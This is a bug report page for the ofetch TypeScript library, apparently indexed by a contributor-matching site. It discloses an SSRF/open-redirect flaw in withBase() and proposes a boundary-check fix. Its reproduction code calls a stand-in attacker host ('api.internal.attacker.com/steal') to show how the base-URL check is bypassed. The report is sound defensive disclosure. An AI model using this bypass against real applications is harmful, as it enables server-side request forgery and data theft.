unjs / unjs/ofetch

SSRF via Unconstrained baseURL + Open Redirect

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bug
Dominant language
TypeScript
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Description

Environment

any

Reproduction
import { ofetch } from "ofetch";

// The application explicitly forces requests to internal API
// But req.query.path is controlled by attacker: "http://api.internal.attacker.com/steal"
await ofetch("http://api.internal.attacker.com/steal", {
  baseURL: "http://api.internal", 
});
// → BUG: Fetches http://api.internal.attacker.com/steal completely bypassing the base URL enforcement
Suggested Fix

We need to enforce that if the input starts with the base URL, the boundary character following the base URL must be a valid URL separator (/, ?, #, or End-of-String).

// utils.url.ts — Add boundary check
export function withBase(input = "", base = ""): string {
  if (!base || base === "/") {
    return input;
  }

  const _base = withoutTrailingSlash(base);
  if (input.startsWith(_base)) {
    const nextChar = input[_base.length];
    if (!nextChar || nextChar === "/" || nextChar === "?" || nextChar === "#") {
      return input;
    }
  }

  return joinURL(_base, input);
}
Describe the bug

SSRF via Unconstrained baseURL + Open Redirect

withBase() checks if the input URL already contains the baseURL by using a simple .startsWith() check. If it matches, the input is returned as-is.

However, .startsWith() does not enforce host or path boundaries. If a consumer hardcodes a safe baseURL but passes a user-controlled request string, an attacker can append a suffix to the .com (e.g. .attacker.com) to bypass the base URL entirely and achieve Server-Side Request Forgery (SSRF) or an Open Redirect.

Additional context

No response

Logs

Contributor guide

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First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in src/utils.url.ts around withBase() at lines 37–55 and inspect how it handles inputs beginning with the base URL. Verify the URL-boundary behavior described in the reproduction, then ensure only a slash, query marker, fragment marker, or end-of-string is accepted after the base. Done when the attacker-controlled URL no longer bypasses the configured baseURL while valid base URLs continue to work.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
75/100

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